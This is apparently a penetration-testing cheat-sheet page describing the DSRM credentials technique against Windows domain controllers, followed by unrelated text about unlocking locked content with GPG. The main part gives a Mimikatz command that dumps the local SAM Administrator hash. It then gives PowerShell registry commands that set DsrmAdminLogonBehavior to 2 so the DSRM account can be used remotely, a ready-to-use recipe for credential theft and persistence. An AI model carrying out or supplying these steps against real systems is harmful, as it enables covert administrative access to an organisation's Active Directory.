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Password - DSRM Credentials

Password - DSRM Credentials

Directory Services Restore Mode (DSRM) is a safe mode boot option for Windows Server domain controllers. DSRM allows an administrator to repair or recover to repair or restore an Active Directory database.

This is the local administrator account inside each DC. Having admin privileges in this machine, you can use Mimikatz to dump the local Administrator hash. Then, modifying a registry to activate this password so you can remotely access to this local Administrator user.

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'

# Check if the key exists and get the value
Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior 

# Create key with value "2" if it doesn't exist
New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD 

# Change value to "2"
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2

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Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.